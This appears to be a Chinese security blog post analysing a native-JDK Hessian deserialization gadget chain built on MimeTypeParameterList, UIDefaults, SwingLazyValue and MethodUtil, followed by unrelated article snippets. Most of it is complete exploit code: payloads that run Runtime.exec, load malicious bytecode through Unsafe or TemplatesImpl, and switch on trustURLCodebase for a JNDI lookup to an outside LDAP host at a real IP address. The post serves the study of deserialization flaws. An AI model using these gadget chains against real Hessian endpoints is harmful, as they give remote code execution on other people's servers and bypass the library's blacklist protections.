【Web】浅聊Hessian反序列化原生jdk利用与高版本限制绕过

目录

前言

原理分析

EXP

Hessian2 低版本

直接Runtime命令执行

Hessian2 高版本

利用Unsafe加载恶意字节码+二次调用触发初始化

利用TemplatesImpl实例化恶意类

jdk高版本打JNDI


前文:【Web】浅聊Hessian异常toString姿势学习&复现

前言

上篇文章介绍了Hessian2异常触发toString,“触发toString方法便可生万物,而后打法无穷也”

很容易想到常见的 Rome、XBean 等 toString,若目标环境没有这些依赖呢,有无原生jdk链子打呢?🧐

还真有,服辣服辣!感谢p4d0rn大师傅带我飞😍&下面一起来学习大佬的姿势😀

原理分析

利用链

javax.activation.MimeTypeParameterList#toString
    UIDefaults#get
        UIDefaults#getFromHashTable
            UIDefaults$LazyValue#createValue
                SwingLazyValue#createValue
                    sun.reflect.misc.MethodUtil#invoke

Hessian2触发toString后,在原生jdk环境下如何找到toString恶意利用类呢

我们关注到javax.activation.MimeTypeParameterList#toString,其调用了this.parameters#get

public String toString() {
        StringBuffer buffer = new StringBuffer();
        buffer.ensureCapacity(this.parameters.size() * 16);
        Enumeration keys = this.parameters.keys();

        while(keys.hasMoreElements()) {
            String key = (String)keys.nextElement();
            buffer.append("; ");
            buffer.append(key);
            buffer.append('=');
            buffer.append(quote((String)this.parameters.get(key)));
        }

        return buffer.toString();
    }

注意到parameters类型为Hashtable 

而UIDefaults正好继承了Hashtable

跟进UIDefaults#get

public Object get(Object key) {
        Object value = getFromHashtable( key );
        return (value != null) ? value : getFromResourceBundle(key, null);
    }

调用了UIDefaults#getFromHashtable,最后进到LazyValue#createValue,这里找到了合适的SwingLazyValue

public Object createValue(UIDefaults var1) {
        try {
            ReflectUtil.checkPackageAccess(this.className);
            Class var2 = Class.forName(this.className, true, (ClassLoader)null);
            Class[] var3;
            if (this.methodName != null) {
                var3 = this.getClassArray(this.args);
                Method var6 = var2.getMethod(this.methodName, var3);
                this.makeAccessible(var6);
                return var6.invoke(var2, this.args);
            } else {
                var3 = this.getClassArray(this.args);
                Constructor var4 = var2.getConstructor(var3);
                this.makeAccessible(var4);
                return var4.newInstance(this.args);
            }
        } catch (Exception var5) {
            return null;
        }
    }

这段代码使用了反射机制动态实例化对象或调用类静态方法

tips:

当使用 Class.forName() 方法加载类时,如果没有指定类加载器,即传入 null 作为类加载器的参数,系统将使用默认的类加载器(通常是定义该调用的类的类加载器)来加载目标类。具体表现如下:

  1. 如果当前类路径中能够找到指定名称的类,那么该类将被加载并返回对应的 Class 对象。
  2. 如果当前类路径中找不到指定名称的类,或者出现其他加载错误,将会抛出 ClassNotFoundException 异常。

就是说靶机classpath下没有的类,我们不能实例化,可利用性不强

所以考虑走类静态方法的调用

关注到sun.reflect.misc.MethodUtil#invoke是个静态方法

public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {
        try {
            return bounce.invoke((Object)null, var0, var1, var2);
        }

这段代码使用了反射机制动态调用指定方法,通过传入方法对象、目标对象和参数数组来实现方法的调用

MethodUtil#invoke可以调用任意类的任意方法,这不就易如反掌易如反掌了嘛(🤔

EXP

Hessian2 低版本

直接Runtime命令执行

导入pom依赖

<dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.38</version>
        </dependency>

弹计算器的神奇咒语 

package com.Hessian;

import com.caucho.hessian.io.*;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class EXP {
    public static void ser(Object evil) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializable

        baos.write(67);
        output.writeObject(evil);
        output.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }

    public static void main(String[] args) throws Exception {
        UIDefaults uiDefaults = new UIDefaults();
        Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
        Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);

        SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});

        uiDefaults.put("xxx", slz);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();

        setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
        ser(mimeTypeParameterList);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

Hessian2 高版本

Hessian2 4.0.63版本在获取反序列化器时会走com.caucho.hessian.io.ClassFactory#isAllow对类进行检查,判断类是否允许被反序列化

黑名单如下

既然MethodUtil#invoke可以调用任意类的任意方法,要RCE就要RCE地彻底,可以采用加载恶意类字节码的手段

接下来介绍两种方法:

利用Unsafe加载恶意字节码+二次调用触发初始化

 sun.misc.Unsafe · 攻击Java Web应用-[Java Web安全]

注意Unsafe#defineClass不会对类进行初始化,所以需要调用两次,在恶意类里添加一个静态方法,第一次先加载恶意类,第二次调用恶意类从而初始化执行静态代码块

 

导入pom依赖

<dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.2-GA</version>
        </dependency>

弹计算器的神奇咒语(第一次报错就会退出程序,所以要try catch surround一下)

package com.Hessian;

import com.caucho.hessian.io.*;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewMethod;
import sun.misc.Unsafe;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;

public class EXP2 {
    public static byte[] getPayload() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtMethod staticInitializer = CtNewMethod.make("public static void exp() { Runtime.getRuntime().exec(\"calc\"); }", clazz);
        clazz.addMethod(staticInitializer);
        return clazz.toBytecode();
    }
    public static Object loadClass() throws Exception {
        UIDefaults uiDefaults = new UIDefaults();

        Class<?> clazz = Class.forName("sun.misc.Unsafe");
        Field field = clazz.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);

        Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        byte[] bytes = getPayload();
        Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
        SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{defineClass, unsafe, new Object[]{"a", bytes, 0, bytes.length, null, null}}});

        uiDefaults.put("xxx", slz);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
        setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
        return mimeTypeParameterList;
    }

    public static Object initClass() throws Exception {
        UIDefaults uiDefaults = new UIDefaults();

        SwingLazyValue slz = new SwingLazyValue("a", "exp", new Object[0]);
        uiDefaults.put("xxx", slz);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
        setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
        return mimeTypeParameterList;
    }
    public static void ser(Object evil) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializable

        baos.write(67);
        output.writeObject(evil);
        output.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }

    public static void main(String[] args) throws Exception {

        try {
            ser(loadClass());
        } catch (Exception e) {
            ser(initClass());
        }
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

利用TemplatesImpl实例化恶意类

这个相对更好理解一些,缝就完了

package com.Hessian;

import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class EXP2 {
    public static Object loadClass() throws Exception {
        UIDefaults uiDefaults = new UIDefaults();

        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool = ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload = classPool.makeClass("Z3r4y");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Method newTransformer = Class.forName(TemplatesImpl).getDeclaredMethod("newTransformer");

        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
        SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{newTransformer, templates, new Object[]{}}} );

        uiDefaults.put("xxx", slz);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
        setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
        return mimeTypeParameterList;
    }
    public static void ser(Object evil) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializable

        baos.write(67);
        output.writeObject(evil);
        output.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }

    public static void main(String[] args) throws Exception {

        try {
            ser(loadClass());
        } catch (Exception e) {
        }
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

jdk高版本打JNDI

高版本的JDK有JNDI限制的原因是trustURLCodebase默认为false

java.lang.System#setProperty方法用于设置系统属性。该方法允许在运行时更改系统的属性值。

我们可以此方法将对应版本的trustURLCodebase设置为true,绕过JNDI限制

再调用InitialContext#doLookup实现JNDI注入

package com.Hessian;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class EXP4 {
    public static void main(String[] args) throws Exception {
        UIDefaults uiDefaults1 = new UIDefaults();
        UIDefaults uiDefaults2 = new UIDefaults();

        Method setProperty = Class.forName("java.lang.System").getDeclaredMethod("setProperty", String.class, String.class);
        Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
        SwingLazyValue slz1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{setProperty, new Object(), new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}}});
        Method doLookup = Class.forName("javax.naming.InitialContext").getDeclaredMethod("doLookup", String.class);
        SwingLazyValue slz2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{doLookup, new Object(), new Object[]{"ldap://124.222.136.33:1337/#suibian"}}});

        uiDefaults1.put("xxx", slz1);
        MimeTypeParameterList mimeTypeParameterList1 = new MimeTypeParameterList();
        setFieldValue(mimeTypeParameterList1, "parameters", uiDefaults1);

        uiDefaults2.put("xxx", slz2);
        MimeTypeParameterList mimeTypeParameterList2 = new MimeTypeParameterList();
        setFieldValue(mimeTypeParameterList2, "parameters", uiDefaults2);

        try {
            ser(mimeTypeParameterList1);
        } catch (Exception e) {
            ser(mimeTypeParameterList2);
        }
    }

    public static void ser(Object evil) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializable

        baos.write(67);
        output.writeObject(evil);
        output.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}


http://www.niftyadmin.cn/n/5441824.html

相关文章

不同的Git仓库单独设置用户名和邮件地址

最近使用公司电脑将自己的一个私人项目推送到远程仓库&#xff0c;仓库显示的公司邮箱地址。因为设置了全局的username和usermail&#xff0c;这样就比较尴尬了。但是又不能频繁来回改用户信息&#xff0c;那么请看下面如何单独设置仓库的用户信息&#xff0c;让不同的仓库展示…

干货总结-详细介绍yolov3模型训练的过程及常见问题

训练YOLOv3模型涉及多个步骤&#xff0c;包括数据准备、模型配置、训练过程和评估等。下面是一个详细的介绍&#xff0c;包括使用的软件和相关代码示例&#xff1a; 1. 数据准备 首先&#xff0c;需要准备训练所需的数据集。数据集应包括标注好的图像和对应的标签信息&#xf…

Expert Prompting-引导LLM成为杰出专家

ExpertPrompting: Instructing Large Language Models to be Distinguished Experts 如果适当设计提示&#xff0c;对齐的大型语言模型&#xff08;LLM&#xff09;的回答质量可以显著提高。在本文中&#xff0c;我们提出了ExpertPrompting&#xff0c;以激发LLM作为杰出专家回…

高效备考2025年AMC8竞赛:吃透2000-2024年600道真题(免费送题)

我们继续来随机看五道AMC8的真题和解析&#xff0c;根据实践经验&#xff0c;对于想了解或者加AMC8美国数学竞赛的考生来说&#xff0c;吃透AMC8历年真题是备考更加科学、有效的方法之一。 即使不参加AMC8竞赛&#xff0c;吃透了历年真题600道和背后的知识体系&#xff0c;那么…

HarmonyOS入门学习

HarmonyOS入门学习 前言快速入门ArkTS组件基础组件Image组件Text组件TextInput 文本输入框Buttonslider 滑动组件 页面布局循环控制ForEach循环创建组件 List自定义组件创建自定义组件Builder 自定义函数 状态管理Prop和LinkProvide和ConsumeObjectLink和Observed ArkUI页面路由…

蓝桥杯C++大学B组一个月冲刺记录2024/3/20

蓝桥杯C大学B组一个月冲刺记录2024/3/20 昨日下午去参加算竞校赛了&#xff0c;记录一下我ac的题 昨天出去玩了&#xff0c;今天补个记录 战绩&#xff1a;827.5/1100 由于主办方为了艺术&#xff0c;题目都比较长&#xff0c;而且不好理解。复杂题干的题目我选择直接描述 1.人…

QT----给程序添加上任务栏托盘图标和退出

让我们的程序拥有任务栏托盘图标&#xff0c;实现程序后台运行&#xff0c;退出等功能 1、关闭程序保持后台 重写关闭事件,忽略点击窗口关闭 void MainWindow::closeEvent(QCloseEvent *event) {// 隐藏窗口&#xff0c;而不是真正关闭setVisible(false);// 忽略关闭事件&am…

全国媒体公关服务资源分析,媒体邀约资源包括哪些?-51媒体网

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好&#xff0c;我是51媒体网胡老师。 全国媒体公关服务资源分析是一个涵盖多方面的复杂议题&#xff0c;主要涉及到不同媒体类型、传播渠道、以及公关策略等多个维度。在当前媒体环境下&#xff0c;媒体公关服务资源主要包括…